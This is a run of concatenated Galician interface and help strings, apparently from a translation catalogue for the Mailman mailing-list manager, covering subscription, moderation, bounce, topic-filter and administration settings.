             A opción recomendada é <em>Si</em>Debería comezar o Mailman un volume novo de recompilación?Débese entregar a recompilación diariamente se o límite estabelecido no tamaño non se acadou?Deben chegarlle ao administrador as notificacións de
             subscrición ou de baixas?Débese eliminar calquera cabeceira <tt>Reply-To:</tt> que se ache
             na mensaxe orixinal?  Caso afirmativo, farase sen ter en
             conta se o Mailman engade unha cabeceira <tt>Reply-To:</tt>
             ou non.Deberían reenviarse ao moderador da rolda as mensaxes dos
             non-subscritores que se rexeitaren automaticamente?Deberían incluír as mensaxes desta rolda as cabeceiras
                 <tt>List-*</tt> segundo recomenda o
                 <a href="http://www.faqs.org/rfc/rfc2369.html">
                 RFC 2369</a>?   A opción que se recomenda é
                 <em>Si</em>.Débese pór os novos membros en corentena antes de que 
    se lles permita enviar mensaxes á rolda sen moderar?  Responda <em>Si</em> para reter
    as mensaxes de novos membros para que sexan aprobados polo moderador por omisión.Remitiranse os novos envíos á rolda de
             distribución ao grupo de novas?Remitiranse os envíos novos ao grupo de novas
             á rolda de distribución?Debe incluírse a cabeceira <tt>List-Post:</tt> nas mensaxes enviadas á rolda?Débense notificar as novas solicitudes inmediatamente os
             moderadores así como lle enviar unha lembranza
             diaria cos pendentes?Debe activarse ou desactivarse o filtrado de temas?Amosaranse os enderezos dos subscritores de xeito
             que non sexan directamente recoñecíbeis como enderezos
             de correo electrónico?Estase a deter o qrunner mestre do Mailman.A rolda do sitio non se atopa: %(sitelistname)sTamaño:Producíronse algúns erros que se descoñecen á hora de crear a rolda.
                Por favor, póñase en contacto co administrador
                da rolda para obter axuda.Expresión regular de filtrado de Spam:Regra de filtrado de Spam %(i)dFiltrado do correo lixoEspañol (España)Eliminouse o ficheiro pid danado.Estase a executar o qrunner mestre do MailmanEstados da máquina de estados finitos do Parser:
        0 inactivo
        1 nome do ficheiro ou comentario
        2 msgid
        3 msgstr
        4 fin
        Asunto:EnviarEnviar todos os datosEnviar os cambiosEnviar os cambiosEnviar os cambiosSubscribirPáxina de resultados da subscriciónDesexa subscribir este grupo agora ou convidalo despois?Subscribirse á rolda %(listname)sSubscribiuse: %(member)sSubscriciónSolicitudes de subscriciónSolicitude de subscriciónConfirmouse a solicitude de subcriciónConfirmouse a solicitude de subscrición.Regras para a subscriciónEliminouse satisfactoriamenteAnulou a súa subscrición satisfactoriamente:Convidáronse con éxito:Subscribiuse con éxito:Sufixo que se empregará cando esta rolda envíe a outros roldas,
             segundo a configuración posta na
             opción anterior "umbrella_list"DomSuecoSincroniza os membros dun rolda de distribución cun ficheiro de texto.

Esta escritura é útil se ten un rolda de distribución do Mailman e unha listaxe
de enderezos do tipo include do sendmail: (como se usan tamén en
Majordomo)
Engádense os enderezos do ficheiro que non estean subscritos na rolda. Bórranse 
os enderezos subscritos á rolda que non estean no ficheiro.
Outras opcións controlan que pasa cando se engade ou elimina un enderezo.

Sintaxe: %(PROGRAM)s [opcións] -f nome-de-ficheiro rolda

Onde `opcións' son:

    --no-change
    -n
        Non facer os cambios na realidade. No seu lugar, amosar que se
        tería feito á rolda.

    --welcome-msg[=<yes|no>]
    -w[=<yes|no>]
        Estabelece se enviar ou non aos novos subscritores unha mensaxe de
        benvida, ignorando o que diga a preferencia `send_welcome_msg'
        da rolda. Con -w=yes ou -w, envíase a mensaxe de benvida.
        Con -w=no, non se envía ningunha mensaxe.

    --goodbye-msg[=<yes|no>]
    -g[=<yes|no>]
        Controla se se envían mensaxes informativas cando se eliminaren enderezos
        da rolda e ignorase calquera valor que teña o parámetro `send_goodbye_msg'
        da rolda. Con -g=no non se envía ningunha mensaxe.

    --digest[=<yes|no>]
    -d[=<yes|no>]
        Controla se os subscritores novos terán a entrega en modo digest. Con -d ou
        -d=yes daranse de alta como subscritores coa entrega diferida en recompilacións.
        Con -d=no daranse de alta como subscritores regulares.

    --notifyadmin[=<yes|no>]
    --a[=<yes|no>]
         Especifica se o administrador debería ser notificado de cada
        subscrición ou baixa. Se está engadido un montón de 
         enderezos, deberá inhabilitalo
         Con -a=yes ou -a, avísase ao administrador. Con a=no, o administrador non recibe avisos.
         Sen a opción -a, se usa o valor que teña configurado a rolda..

    --file <nome-de-ficheiro | ->
    -f <nome-de-ficheiro | ->
        Esta opción é obrigatoria. Especifica o ficheiro de texto con que
        sincronizarse.
        Os enderezos de correo electrónico deben aparecer cada un nunha liña distinta.
        Se o nome de ficheiro é `-' lense os enderezos da entrada estándar.

    --help
    -h
        Amosar esta mensaxe.

    rolda
        Necesario. Indica a rolda que se sincronizará.
Error do sistema; o contido está danado: %(content)sOcuparse das solicitudes pendentes de moderarTexto que se engadirá no pé de cada mensaxe que se entrega
             inmediatamente.Texto para engadir (como unha mensaxe de despedida) ao final de cada compilación.<p>Texto para engadir (como unha mensaxe inicial, antes da táboa de contido) ao comezo das compilacións. Texto que se engadirá na parte superior de cada unha das mensaxes que se entrega a medida que chegan. Texto que se enviará á xente que se der de baixa da rolda. Se está
             baleiro, non se engadirá ningún texto
             en especial á mensaxe de baixa.Texto que se incluirá nas
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >notificacións de rexeitamento</a> que se envían
             como resposta a mensaxes de membros moderados da rolda.Texto%(sz)sO "host_name" é o nome de máquina preferido
             para os enderezos relacionados co Mailman neste sistema;
             xeralmente debería ser o enderezo do sistema
             para cuestións de correo electrónico. Esta opción
             pode ser útil para seleccionar entre distintos nomes
             alternativos dunha máquina que ten varios enderezos.Os <em>administradores da rolda</em> son as persoas que teñen a
última palabra sobre todos os parámetros desta rolda de
distribución. Son capaces de mudar calquera variábel de
configuración dispoñíbel a través destas páxinas
web da administración.

<p>Os <em>moderadores da rolda</em> teñen menos permisos, non son
capaces de mudar calquera variábel de configuración, mais
permíteselles que decidan sobre as solicitudes administrativas pendentes,
incluíndo aprobar ou denegar as solicitudes de subscrición
pendentes e decidir que facer cos envíos ás roldas retidos. Por
suposto, os <em>administradores da rolda</em> tamén poden
ocuparse das solicitudes pendentes.

<p>Para poder dividir as tarefas de administración entre os
administradores e os moderadores, ten que pórlle un contrasinal distinto
aos moderadores no campo que está máis abaixo e indicar
as enderezos de correo electrónicos na sección de arriba.A cabeceira <tt>List-Post:</tt> é unha das
             recomendadas no
             <a href="http://www.faqs.org/rfc/rfc2369.html">RFC 2369</a>.
             Porén, nalgunhas roldas de distribución destinadas <em>unicamente a difusión</em>,
             só pode enviar mensaxes un grupo moi reducido de persoas; mentres
             que aos subscritores normais non se lles permite enviar á rolda.  Neste tipo de
             roldas, a cabeceira <tt>List-Post:</tt> é errada.
             Seleccione <em>Non</em> para que non se inclúa esta cabeceira. (Isto
             non afecta outras cabeceiras <tt>List-*:</tt> que se poidan incluír.)O contestador automático do MailmanA semana do %(day)i %(month)s %(year)iA orde `join' é sinónima de `subscribe'.
A orde `leave' é sinónima de `unsubscribe'.
A orde `remove' é sinónima de `unsubscribe'.
A enderezo que solicitaba o cambio
                    deuse de baixa con posterioridade. Por tanto, esta solicitude
                    cancelouseA enderezo que pide darse de baixa non está subscrito á rolda de
        distribución. Talvez foi dada de baixa xa (exemplo: polo
        administrador da rolda)A seguinte mensaxe foi rexeitada automaticamente.A mensaxe anexa activou as regras de filtrado por contido da rolda %(listname)s 
Iso impediu que se lle envíe aos subscritores da rolda.
Recibiu a única copia que queda da mensaxe descartada.

A mensaxe anexa recibiuse como unha devolución mais nin se recoñece o
formato da mensaxe devolta nin se poden deducir enderezos dela.
Esta rolda de distribución configurouse para enviar todas as
mensaxes irrecoñecíbeis ao administrador.

Se desexa máis información, vexa:
%(adminurl)s

Pode mudarse a posta en maiúsculas deste nome 
             para facelo presentable segundo a política da
             compañía tal como un nome propio ou para facer un
             acrónimo en maiúsculas etc. Porén, o nome
             publicarase como un enderezo de correo
             electrónico (ex: nas notificacións para confirmar a
             subscrición), por tanto, <em>non</em> se debería
             alterar. (Nos enderezos de correo electrónico non se
             distinguen maiúsculas de minúsculas, mais si se
             distinguen para calquera outro propósito :-)Enviouse a mensaxe de confirmación.O arquivo actualO enderezo de correo electrónico que se especificou vetouse
nesta rolda de distribución. Se xulga que esta restrición está
errada, por favor, póñase en contacto co propietario da
rolda no enderezo %(listowner)s.O enderezo de correo electrónico que se especificou vetouse
nesta rolda de distribución. Se xulga que esta restrición está
errada, póñase en contacto co propietario da
rolda en %(listowner)s.O enderezo de correo electrónico que especificou non é 
válido. Ten que ter un `@'.)Atopáronse as seguintes variábeis de substitución incorrectas
                na cadea <code>%(property)s</code> :
                <code>%(bad)s</code>
                <p>A súa rolda podería non funcionar correctamente até que
                 corrixa o problema.A mensaxe retida co asunto:
            <em>%(subject)s</em> non se puido atopar. 
            O motivo máis probábel para que suceda isto é que o
            moderador aprobase ou rexeitase xa a mensaxe. Non foi
            capaz de cancelalo a tempo.A mensaxe retida a que estaba a referirse xa foi
        tratada polo administrador da rolda.O nome do servidor en que está a se executar o servidor de novas.O enderezo dos administradores da
             rolda. Pode especificarse varios enderezos
             (cada un nunha única liña)O administrador da rolda inhabilitou as recompilacións para
esta rolda. Pola contra, o resto das opcións definíronse con
éxito.O administrador da rolda de distribución inhabilitou 
a entrega das mensaxes a medida que van chegando, polo que 
a opción de entrega non se activou. Pola contra, o resto 
das opcións cambiáronse correctamente.Os enderezos de correo electrónico dos moderadores da rolda.
             Pode especificarse varios enderezos de moderador, cada un
             nunha liña distinta.O contrasinal da rolda non pode estar baleiroO contrasinal da rolda non pode estar baleiro<!-- ignore -->A rolda de distribución `%(listname)s' creouse a través da
interface web. Para poder completar a activación desta rolda de
distribución, tense que actualizar o ficheiro /etc/aliases (ou 
equivalente). Tamén se debería executar o programa `newaliases'
A rolda de distribución  `%(listname)s' eliminouse a través da interface web. Para poder
completar a desactivación desta rolda de distribución, tense que
actualizar o ficheiro /etc/aliases (ou equivalente). Tamén debería executar
a orde 'newaliases'
O bloqueo mestre de qrunner non se puido adquirir pois semella que hai
outro qrunner mestre a se executar.
Non se puido conseguir o bloqueo do qrunner mestre pois semella que se
o obtivese algún proceso noutro servidor. Non podemos comprobar
se hai bloqueos esquecidos noutros servidores, así que terá que facelo vostede
manualmente. Pola contra, se sabe que o bloqueo está esquecido, volva executar mailmanctl
coa opción -s.

Ficheiro de bloqueo: %(LOCKFILE)s
Servidor de bloqueo: %(status)s

Estase a saír.O valor das mensaxes devoltas dos subscritores, a partir do que se
             inhabilita a subscrición. Este valor pode ser un
             número en punto flotante.O tipo de contido da mensaxe foi inhabilitado explicitamenteO tipo de contido da mensaxe non se permitiu explicitamenteA política de moderación do grupo de novasO nome do grupo de Usenet (novas) a que mandar e/ou recibir.O enderezo novo xa está dado de alta: %(newaddr)sO enderezo novo %(newaddr)s que solicitou xa está subscrito na
rolda de distribución %(listname); porén tamén pediu
un cambio global do seu enderezo.  Logo de o confirmar, tamén se
cambiará calquera outra rolda de distribución que conteña o enderezo
%(safeuser)s. A próxima recompilación enviarase como o volume
            %(volume)s, número %(number)sNúmero de días despois de que se rexeite a información de devolucións dos membros, 
             se non, as novas devolucións recibiranse no provisional.
             Este valor ten de ser un número enteiro.O número de días entre os avisos  <em>da súa subscrición
             inhabilitouse</em>. Este valor ten que ser un número enteiro.O nome público desta rolda (só cambios convincentes)Os resultados da orde que enviou por correo electrónico
máis abaixo. Tamén se incluíu a súa mensaxe orixinal.
Resultados das ordes enviadas por correo electrónicoO administrador do sitio %(hostname)s cambiou o contrasinal da
rolda de distribución %(listname)s. Agora é

    %(notifypassword)s

Asegúrese de o empregar para todas as tarefas de administración
futuras. Se o desexar, pode entrar agora nas páxinas de administración da súa rolda
e cambiar o contrasinal. Visite as páxinas de
administración en

    %(adminurl)s
A listaxe de subscritoresO texto tratarase como código html <em>
             agás</em> as quebras de liña que se traducirán a
             &lt;br&gt; - de xeito que pode empregar ligazóns, texto
             con formato etc, mais non se pode pór quebras de liña máis
             que para separar os parágrafos. Revise os seus cambios porque
             os erros no código html poden evitar que a páxina
             de información da rolda se vexa completamente.O filtro segundo o tema, clasifica cada mensaxe recibida
             segundo os <a href="http://docs.python.org/library/re.html">
             filtros de expresións regulares</a> que especifique abaixo. Se as cabeceiras
             <code>Subject:</code> (asunto) ou <code>Keywords</code> (palabras chave)
             coinciden cun dos filtros por temas, a mensaxe colócase en orde lóxica
             no <em>caixón</em> do tema. Cada un dos usuarios pode así elixir recibir
             só as mensaxes da rolda de distribución que correspondan a un ou máis temas.
             As mensaxes que non se atopan nos caixóns de temas elixidos polo usuario
             non se entregarán á rolda.

             <p>Teña en conta que esta función só funciona na entrega regular,
             e non na entrega por recompilacións.

             <p>Opcionalmente tamén se pode procesar parte do corpo da mensaxe na procura de
             cabeceiras <code>Subject:</code> e <code>Keyword:</code>, como se especifica na
             variábel de configuración
             <a href="?VARHELP=topics/topics_bodylines_limit">topics_bodylines_limit</a>.O buscador de temas comprobará esta cantidade de liñas do corpo
             da mensaxe na procura de palabras chave dos temas. A comprobación do corpo
             detense cando se comprobou en todas estas liñas ou cando se
             atopou unha liña no corpo da mensaxe que non parece unha cabeceira.
             Ao pór este valor a cero, non se escaneará ningunha liña
             do corpo (é dicir, só se comprobarán as cabeceiras
             <code>Keywords:</code> e <code>Subject:</code>). Se se pon un número
             negativo, comprobaranse todas as do corpo
             até atopar unha liña que non pareza unha cabeceira.
             A variable 'm' é a instancia da rolda de distribución %(listname)sNon hai ningunha solicitude pendente.Hai dous roles asociados a cada rolda de distribución. Os
             <em>administradores da rolda</em> son as persoas que
             teñen a última palabra sobre todas as opcións de
             configuración da rolda de distribución. Poden
             mudar calquera parámetro de
             configuración dispoñíbel a través das
             páxinas web da administración.

             <p>Os <em>moderadores da rolda</em> teñen menos permisos,
             non poden cambiar calquera variábel de
             configuración, mais se lles permite a decisión sobre as
             solicitudes administrativas pendentes, incluíndo aprobar ou
             denegar as solicitudes de subscrición pendentes e
             decidir que facer cos envíos á rolda retidos. Por
             suposto, os <em>administradores da rolda</em>
             tamén poden ocuparse das solicitudes pendentes.

             <p>Para poder dividir as tarefas de administración entre
             os administradores e os moderadores, ten que
             <a href="passwords">pórlle un contrasinal distinto</a>
             aos moderadores na sección inferior,
             ademais de indicar nesta sección os
             <a href="?VARHELP=general/moderator">enderezos
             de correo electrónico dos moderadores.</a>
             Cómpre salientar que os campos que se cambian aquí indican
             os administradores da rolda.Hai dous roles asociados a cada rolda de distribución: os
             <em>administradores da rolda</em> son as persoas que
             teñen a última palabra sobre todas as opcións de
             configuración da rolda de distribución. Poden
             mudar calquera parámetro de
             configuración dispoñíbel a través das
             páxinas web da administración.

             <p>Os <em>moderadores da rolda</em> teñen menos permisos,
             non poden cambiar todas as variábeis de
             configuración, mais se lles permite a decisión sobre as
             solicitudes administrativas pendentes, incluíndo aprobar ou
             denegar as solicitudes de subscrición pendentes e
             decidir que facer cos envíos á rolda retidos. Por
             suposto, os <em>administradores da rolda</em>
             tamén poden ocuparse das solicitudes pendentes.

             <p>Para poder dividir as tarefas de administración entre
             os administradores e os moderadores, ten que
             <a href="passwords">pórse un contrasinal distinto aos moderadores</a>
             na sección inferior, ademais de indicar nesta sección os
             enderezos de correo electrónico dos moderadores. Cómpre salientar que os
             campos que se cambian indican os administradores da rolda.Non había ningunha recompilación que enviar.Hai algún problema á hora de borrar a rolda de distribución
        <b>%(listname)s</b>.  Contacte co administrador das roldas en %(sitelist)s
        para máis detalles.Estes son os idiomas que se poden usar con esta rolda.
             Cómpre salientar que ten que estar incluído
             <a href=\"?VARHELP=language/preferred_language\">
             o idioma predeterminado</a>.Estas políticas controlan o sistema de devolucións automáticas no
            Mailman. A continuación resúmese como funciona.

            <p>Cando se recibe unha mensaxe devolta, o Mailman trata de extraer
            a seguinte información da mensaxe: o enderezo
            do subscritor a que ía dirixida a mensaxe e a gravidade do
            problema que causou a devolución. A gravidade pode ser <em>
            grave</em> ou <em>leve</em> a depender de se aconteceu un erro
            grave ou transitorio. Se existir algunha dúbida,
            debe empregarse un erro grave.

            <p>Se non se pode deducir o enderezo do subscritor da
            mensaxe devolta, entón a devolución rexeitarase.  Se non se rexeitar,
            a cada subscritor se lle asignará un <em>contador de devolucións</em> e
            cada vez que se ache unha devolución pertencente a este subscritor
            incrementarase o contador. As devolucións graves incrementan en
            1 mentres que as leves incrementan en 0.5. O contador só se
            incrementa unha vez ao día, de xeito que mesmo cando
            reciba centos de mensaxes devoltas do subscritor nun día,
            o seu contador só se incrementará en 1 ese día.

            <p>Cando o contador de devolucións dun subscritor superar o
            <a href="?VARHELP=bounce/bounce_score_threshold">límite de mensaxes
            devoltas</a> inhabilitarase a súa subscrición. Despois de
            se inhabilitar, o subscritor non recibirá máis mensaxes
            da rolda até que a súa subscrición sexa explicitamente
            habilitada de novo (quer polo administrador quer polo subscritor).
            Porén, de vez en cando recibirán notificacións en que se indicará
            que a súa subscrición foi inhabilitada. As notificacións
            inclúen información sobre como volver habilitar a súa subscrición

            <p>Pode controlar tanto o
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings">número
            de lembranzas</a> que recibirá o subscritor como a
            <a href="?VARHELP=bounce/bounce_you_are_disabled_warnings_interval">
            frecuencia</a> en que se enviarán as notificacións.

            <p>Hai outra variábel de configuración importante que controla que
            transcorrido un determinado período de tempo -- durante o cal non se reciben
            devolucións do subscritor -- a información de devolución
            <a href="?VARHELP=bounce/bounce_info_stale_after">
            considérase caduca</a> e se rexeita. Deste xeito, ao estabelecer este valor
            e o límite de mensaxes devoltas, pódese controlar a velocidade a que
            se desactivan os subscritores con problemas de recepción. Deberíanse
            estabelecer á frecuencia e ao volume da rolda en
            cuestión.TerceiroEsta descrición emprégase cando a rolda de distribución se
                amosa xunto con outras roldas ou nas cabeceiras e semellantes.
                Debería ser todo o concisa que se puider para que se poida
                identificar cal é o tema da rolda.Esta rolda %(also)s está oculta, o que signinifica que
            os subscritores da rolda só están dispoñíbeis
            para o administrador.Esta rolda %(also)s é privada, o que significa que os
            subscritores non están dispoñíbeis aos que
            non estean subscritos.   Esta rolda %(also)s é pública, o que significa que
            os subscritores da rolda están dispoñíbeis para calqueraEste é unha rolda pechada, o que significa que a súa
            subscrición reterase para que o
            administrador de o seu prace.
            Notificaráselle da decisión do administrador
            por correo electrónico.O idioma que se empregará nesta rolda de distribución. Se se admite
             <a href=\"?VARHELP=language/available_languages\">máis dun
             idioma</a> entón os usuarios poderán estabelecer as súas propias
             preferencias á hora de interactuar coa rolda. Calquera outra
             interacción producirase no idioma predeterminado.
             Isto aplícase tanto ás mensaxes visualizadas no web como ás
             mensaxes enviadas por correo electrónico, mais non ás
             mensaxes enviadas polos subscritores.Esta roldaEsta rolda non admite as entregas en recompilaciónsA rolda non ten subscritores.Esta rolda é restrinxida polo que a súa mensaxe non se aprobouEste rolda só admite a distribución das mensaxes en recompilaciónsEsta rolda só admite subscricións de recompilaciónsEsta páxina permítelle como propietario da rolda, eliminar
    permanentemente esta rolda do sistema. <strong>Esta acción
    é irreversíbel</strong> polo que só debería proceder se
    está absolutamente seguro de que esta rolda serviu aos seus
    propósitos e de que non a necesita máis.

    <p>Observe que non se enviará ningún aviso aos
    subscritores da súa rolda e que calquera mensaxe posterior enviada
    á rolda ou a calquera dos seus enderezos administrativos
    devolverase.

    <p>Tamén ten a posibilidade de borrar o arquivo desta
    rolda de distribución neste preciso momento. Case
    <strong>nunca</strong> se recomenda que se faga, porque serve como
    un rexistro histórico da rolda de distribución.

    <p>Por cuestións de seguranza, preguntaráselle que verifique
    o contrasinal da rolda.
    Esta sección permítelle configurar a política de subscrición e 
            exposición dos seus subscritores. Tamén pode
            controlar se esta rolda é pública. Vexa
            <a href="%(admin)s/archive">Opcións de almacenaxe</a>
            para a configuración de privacidade relacionada coas
            mensaxes arquivadas.Esta sección permítelle configurar varios filtros anti correro lixo,
            que lle poden axudar a reducir a cantidade que acaban
            recibindo os subscritores.Esta sección permítelle configurar varios filtros baseados no
        destinatario da mensaxe.Esta configuración determina a política de moderación do grupo de novas
             e a súa interacción coa política de moderación da rolda de
             distribución.  Isto aplícase unicamente ao grupo de novas a
             que se está a enviar de xeito que se só está facendo de pasarela
             de entrada de Usenet, ou se o grupo de novas ao que está a enviar
             non está moderado, poña nesta opción <em>Ningún</em>.

             <p>Se o grupo de novas está moderado, pode configurar esta rolda
             de distribución para que sexa o enderezo de moderación do grupo de
             novas. Ao seleccionar <em>Moderado</em>, retense a mensaxe como
             paso adicional no proceso de aprobación.  Todas as mensaxes enviadas
             á rolda de distribución téñense que aprobar antes de se enviaren
             ao grupo de novas ou ao enderezo da rolda de distribución.

             <p><em>Cómpre salientar que se a mensaxe ten unha cabeceira <tt>Approved</tt>
             que contén o contrasinal do administrador da rolda, a comprobación
             de se se debe reter a mensaxe pasarase por alto e permitirase que os
             remitentes privilexiados envíen mensaxes directamente á rolda e ao
             grupo de novas</em>.

             <p>Por último, se o grupo de novas é moderado, mais desexa ter
             unha política aberta á hora de enviar, pode seleccionar
             <em>Rolda aberta, grupo moderado</em>.  O efecto disto é o empregar
             as facilidades de moderación do Mailman usuais, agás engadir unha
             cabeceira <tt>Approved</tt> a todas as mensaxes que se envían a Usenet.Este valor podería ser quer o nome do servidor de novas quer, opcionalmente,
             o nome do porto, onde 'porto' é un número.

             O servidor de Novas non é unha parte integrante do Mailman.
             Ten que ter previamente o acceso ao servidor de NNTP e é
             necesario que este servidor de NNTP recoñeza a máquina onde reside
             este servidor de roldas de distribución como unha máquina
             capaz de enviar e recibir novas.Este valor, se existir algún, engadirase
             ao comezo da mensaxe de benvida dos novos subscritores.
             O resto da mensaxe de benvida xa describe os enderezos e os URL
             relevantes da rolda de distribución, de xeito que non
             precisa incluír este tipo de información. Aquí
             só se debería incluír a información especifica ao obxectivo
             da rolda, como a política, a orientación aos
             usuarios ou calquera outra cousa semellante.

             <p>Teña en conta que este texto desdobrarase entre liñas
             de acordo coas seguintes regras:
             <ul><li>Cada parágrafo complétase de xeito que non ocupe máis
             de 70 caracteres.
                 <li>Calquera liña que comezar cun espazo en branco non
                 se completará.
                 <li>Unha liña en branco separa parágrafos.
             </ul>XovPara rematar de crear a súa rolda de distribución,
ten que editar o ficheiro /etc/aliases (ou equivalente),
engadir as liñas seguintes e executar o programa `newaliases:'
Para anular a súa subscrición de %(realname)s, consiga unha lembranza
        do seu contrasinal ou cambie as súas opcións de subscrición %(either)s
        e indique o seu enderezo de correo electrónico con que está subscrito:
        <p><center> Para configurar unha rolda que non se amosa publicamente, debe
        abrirse un URL semellante ao que existe mais cun '/' seguido polo
        nome da rolda %(extra)s. Se ten a autorización adecuada,
        tamén pode <a href="%(creatorurl)s">crear unha rolda de
        distribución nova</a>.

        <p>Pódese atopar máis información xeral sobre as roldas en Temas do día (%(msgcount)d mensaxes)Temas do día:
Hai moitos destinatarios na mensaxeTema %(i)dDetalles do filtro de temasPalabras chave dos temas, unha por liña, para procurar nas mensaxes.Nome do tema:As especificacións para os temas deben incluír tanto un nome como
                un patrón. Ignoraranse as definicións incompletas.TemasMarDesactivarase só se ten previsto subscribir a xente manualmente
             e non se desexa que eles o saiban. Esta opción é moi
             útil para migrar de xeito transparente roldas doutros
             xestores de distribución ao MailmanActive esta opción se desexa que as lembranzas dos contrasinais se envíen
             aos subscritores unha vez ao mes. Debe terse en conta que os
             subscritores poden desactivar a lembranza dos
             contrasinais a nivel individual.UUcraínoConfiguración da rolda en cascadaNotificación de devolución non captadoCambiouse a liña From ao estilo Unix: %(lineno)dIdioma descoñecido: %(lang)sRolda descoñecida: %(listname)sServidor virtual descoñecido: %(safehostname)sDesbloquear unha rolda mais non gardala [Save()] implicitamente.

    Isto non consegue executarse se o intérprete sae debido a un sinal,
    ou se se chama a os._exit(). Chamaráselle se ocorre unha excepción mentres
    tanto.
    Estase a desbloquear (mais sen gardar) a rolda: %(listname)sDarse de baixaAnular a súa subscrición ou editar as súas preferenciasSolicitudes de anulación de subscriciónSolicitude de anulación de subscriciónConfirmouse a solicitude de baixaDéuselle de baixa da roldaResultados da baixaEstase a actualizar o código HTML do artigo %(seq)sEstanse a actualizar as marcas de UsenetEstase a actualizar o índice dos ficheiros de [%(archive)s]Estase a actualizar a rolda de distribución %(listname)sEstase a actualizar a base de datos de solicitudes pendentesEstase a actualizar da versión %(hexlversion)s á %(hextversion)sSintaxe:Debe empregar esta opción para prohibir os envíos segundo os valores de
             determinadas cabeceiras. O valor é unha expresión regular
             que se compara coas cabeceiras indicadas. A comparación
             realízase sen ter en conta maiúsculas e minúsculas.
             As liñas que comezan por # ignóranse ao considerárense
             comentarios.<p> Por exemplo: <pre>to: .*@public.com </pre> indica
             que reteña todos os envíos de que o seu campo <em>to</em> na
             cabeceira conteña '@public.com' en calquera posición.<p>Cómpre salientar
             que os espazos en branco se eliminan da expresión regular.
             Isto pódese evitar de distintos xeitos, ao eliminar os
             espazos ou ao poñelos entre parénteses.Debe empregarse esta opción para eliminar calquera anexo que se
              axustar a calquera dos seguintes tipos de contidos.
              Cada liña debería conter unha cadea que indique un
             <tt>tipo/subtipo</tt> MIME, ex. <tt>image/gif</tt>.  Non indique
             o subtipo se quere eliminar todas as partes co tipo de contido
             principal, ex. <tt>image</tt>.
             <p>As liñas en branco ignóranse.
             <p>Vexa tamén <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a> para obter un listaxe dos tipos de contido.Utilice esta opción para eliminar calquera anexo que non coincida cun
             determinado tipo de contido.  Os requirimentos e os formatos son
             exactamente como <a href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>,

             <p><b>Nota:</b>se engade entradas a esta rolda mais non engade
             <tt>multipartes</tt>, o filtro rexeitará calquera mensaxe
             con anexos. O subscritor `%(addr)s' deuse de baixa da rolda %(listname)s.Enderezo/nomePáxina de opcións específicas do usuarioEstase a empregar a versión seguinte do Mailman:ValorVer ou editar a información de configuración da rolda.Ver esta páxina en Visitar a rolda de subscritoresVisitar a rolda de subscritoresVisitar a páxina de administración da roldaVisitar a páxina de información da roldaAviso: non se puido adquirir o bloqueo da rolda: %(listname)sAviso: o directorio non existe: %(d)sAviso: podería achar problemas dos permisos.Aviso: Aviso: non se puido eliminar %(src)s -- %(rest)sSentímolo mais xa se deu de baixa desta rolda de distribución.
        Para se subscribir unha outra vez, por favor, visite a
        <a href="%(listinfourl)s">páxina de información xeral
        da rolda</a>.MérSemanalDámoslle a benvida á rolda de distribución %(realname)s%(digmode)sBenvido/a!Cales son os pasos necesarios para se subscribir?<br>Cando "umbrella_list" está estabelecida para indicar que
             esta rolda ten a outras como subscritoras, as
             notificacións administrativas como as confirmacións e os contrasinais
             non se precisan mandar aos subscritores, senón ao
             propietario desas roldas. Nese caso, o valor desta
             opción engádese ao nome de usuario do membro para
             esas notificacións. '-owner' é a elección típica.
             Esta opción non ten efecto se "umbrella_list" é Non.Cando se habilite <a href=\"?VARHELP=nondigest/personalize\">personalización</a>
neste rolda, pódense empregar variábeis de substitución adicionais tanto
nas cabeceiras como na parte inferior das mensaxes:

<ul><li><b>user_address</b> - O enderezo do usuario convertido a 
minúsculas.
    <li><b>user_delivered_to</b> - O enderezo do usuario respectando 
maiúsculas
                                   e minúsculas.
    <li><b>user_password</b> - O contrasinal do usuario.
    <li><b>user_name</b> - O nome e os apelidos do usuario.
    <li><b>user_optionsurl</b> - O URL da páxina de opcións do 
usuario.
</ul>
Ao se enviar unha mensaxe á rolda, realízase unha serie
            de pasos para decidir se se deben aprobar polo moderador.
            Esta sección contén as directrices de  moderación das mensaxes,
            proveñan ou non de subscritores.

            <p>As mensaxes dos subscritores retéñense para as moderar se a súa
            <b>marca de moderación</b> está activa. Predeterminadamente, pode
            controlarse se as mensaxes dos subscritores se moderan ou non.

            <p>As mensaxes de non-subscritores pódense
            <a href="?VARHELP=privacy/sender/accept_these_nonmembers">aceptar</a>,
            <a href="?VARHELP=privacy/sender/hold_these_nonmembers">reter
            para a súa moderación</a>,
            <a href="?VARHELP=privacy/sender/reject_these_nonmembers">rexeitar</a> (rebotar), ou
            <a href="?VARHELP=privacy/sender/discard_these_nonmembers">descartar</a> automaticamente,
            tanto individualmente ou en grupo. Calquera
            mensaxe dun non-subscritor que non se acepte,
            rexeite ou descarte automaticamente, filtrarase polas
            <a href="?VARHELP=privacy/sender/generic_nonmember_action">regras
            xerais para os non-subscritores</a>.

            <p>Na caixa de texto de máis abaixo, engada un enderezo en cada liña, comece a liña
            co carácter ^ para designar unha 
            <a href="http://docs.python.org/library/re.html">
            expresión regular de Python</a>. Cando inclúa barras inclinadas de esquerda a dereita ("\"),
            fágao como se estivese a empregar cadeas de Python en bruto (normalmente só empregará unha soa
            barra inclinada).

            Cómpre salientar que as comparacións que non foren expresións regulares realízanse antes.Cando se comeza de novo un volume de recompilación, o
             número de volume increméntase e o número
             de envío ponse en 1.Cando se subscribe un novo membro á rolda, os valores
             iniciais das súas opcións tomaranse do contido desta variábel.Cando se recibe unha mensaxe dun non-subscritor, compróbase se
             o remitinte está na rolda de enderezos explicitamente
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers">aceptados</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers">retidos</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers">rexeitados</a> (devoltos), ou
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers">descartados</a>.
             Se non se achar en ningunha destas roldas, realizarase esta acción.Cando os subscritores queren abandonar a rolda, farán unha solicitude de
             baixa quer por web ou quer por correo electrónico.
             Normalmente, a mellor opción é permitir que calquera poida anular
             a súa subscrición de xeito que se poida deixar
             a rolda doadamente (as persoas poden chegar a se incomodar cando non poden
             abandonar a rolda).

             <p>Aínda así, para algunhas roldas é precisa a aprobación do
             moderador antes de se procesar unha solicitude de
             baixa. Un exemplo deste tipo de roldas pode ser aquela
